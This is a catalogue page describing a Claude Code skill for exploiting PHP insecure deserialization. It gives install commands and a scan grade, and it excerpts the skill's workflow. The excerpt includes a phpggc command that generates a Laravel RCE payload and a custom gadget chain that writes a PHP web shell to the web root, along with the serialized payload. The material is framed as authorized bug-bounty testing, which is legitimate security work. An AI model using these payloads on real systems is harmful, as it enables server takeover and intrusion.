php-deserialization-rce

php-deserialization-rce is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 54 tokens per session (1,327 once invoked), scanned A, original, Apache-2.0.

A method for testing PHP applications that turn user-controlled serialized data back into PHP objects. It looks for insecure deserialization and uses object gadget chains—existing code paths that can be combined—to assess possible server code execution.

In plain words
What is it for?
Use it to inspect PHP deserialization points, recognize serialized payloads, identify affected libraries, and test authorized remote-code-execution paths.
Why use it?
It helps identify risks in cookies, form fields, and APIs that process serialized objects without sufficient validation.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it to inspect PHP deserialization points, recognize serialized payloads, identify affected libraries, and test authorized remote-code-execution paths.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/php-deserialization-rce

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for php-deserialization-rce

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/php-deserialization-rce/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/php-deserialization-rce)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/php-deserialization-rce"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/php-deserialization-rce/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for php-deserialization-rce

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/php-deserialization-rce"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/php-deserialization-rce.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 54 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,327 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00054 $0.01327
Opus 5 $0.00027 $0.00664
Sonnet 5 $0.00011 $0.00265
Haiku 4.5 $0.00005 $0.00133

Measured 7d ago against content hash 13d85abb9299, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

php-deserialization-rce scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/bug-hunting/web-vulnerabilities/php-deserialization-rce/SKILL.md · 146 lines

How it starts

The opening of the file, as written. The whole thing — 146 lines — stays where its author put it; the contents beside it link to each section on GitHub.

PHP Deserialization to RCE

When to Use

  • During a web application assessment where user-supplied input is passed to PHP's unserialize() function.
  • Often found in base64-encoded or URL-encoded cookies, hidden form fields, or API endpoints handling legacy architecture.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying the Sink

Look for patterns indicating serialized PHP objects Prefixes like O:4:"User":2:{...}

  • Search source code for unserialize($_GET['data']) or unserialize(base64_decode($_COOKIE['session']))
// Vulnerable Code Example $input = $_GET['payload'];
$obj = unserialize($input); // DANGER

Phase 2: Utilizing PHPGGC (PHP Generic Gadget Chains)

If the target is using known frameworks/libraries (e.g., Laravel, Symfony, Monolog, SwiftMailer), you can generate a POP chain payload automatically.

# phpggc -l # List available gadget chains

# Generate a payload for Laravel/RCE1 to execute 'id' phpggc Laravel/RCE1 system 'id' --base64

Phase 3: Writing a Custom Gadget Chain

If standard framework gadgets aren't available, you must review the source code for class definitions containing "Magic Methods" (e.g., __wakeup(), __destruct(), __toString()).

# class Logger {
    public $logFile;
    public $initMsg;

    public function __destruct() {
        file_put_contents($this->logFile, $this->initMsg);
    }
}

// Crafting the payload $payload = new Logger();
$payload->logFile = "/var/www/html/shell.php";
$payload->initMsg = "<?php system($_GET['cmd']); ?>";
echo serialize($payload);
// Output: O:6:"Logger":2:{s:7:"logFile";s:23:"/var/www/html/shell.php";s:7:"initMsg";s:30:"<?php system($_GET['cmd']); ?>";}

Phase 4: Executing the Attack

Submit the serialized payload (URL-encoded or Base64-encoded if necessary) to the vulnerable endpoint.

Read the full file on GitHub · 146 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 146 lines · 54 tokens per session scan A 13d85abb9299

Subscribe to this mod's changes

php-deserialization-rce is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 54 tokens to every session and 1,327 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

command-injection-os-level

Identify and exploit OS Command Injection vulnerabilities where web applications insecurely pass user input into system shell commands. Use this skill when applications feature ping utilities, file conversions, network diagnostics, or PDF generators to execute arbitrary system commands and achieve Remote Code…

ShulkwiSEC/bb-huge · 58 tokens

hunt-deserialization

Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.

uphiago/recon-skills · 79 tokens

hunt-prototype-pollution

Hunt client-side and server-side prototype pollution for XSS, auth bypass, and RCE.

uphiago/recon-skills · 27 tokens

java-insecure-deserialization-ysoserial

Exploit Java Insecure Deserialization vulnerabilities leading to Remote Code Execution (RCE). Identify serialized Java objects natively passed within HTTP parameters, cookies, or sockets (e.g., rO0AB...). Utilize ysoserial to meticulously craft malignant payload chains exploiting vulnerable gadget libraries like…

ShulkwiSEC/bb-huge · 80 tokens

broken-object-level-authorization

Identify and exploit Broken Object Level Authorization (BOLA), historically known as Insecure Direct Object Reference (IDOR), in API architectures. Extremely common and critical flaw where an API fails to validate whether the currently authenticated user actually owns or retains permissions over the specifically…

ShulkwiSEC/bb-huge · 63 tokens

csrf-token-bypass-techniques

Identify and exploit Cross-Site Request Forgery (CSRF) vulnerabilities by bypassing weak or flawed anti-CSRF token implementations, SameSite cookie attributes, and Origin/Referer headers. Use this skill when testing state-changing web application endpoints for session riding attacks. Covers token removal, token…

ShulkwiSEC/bb-huge · 79 tokens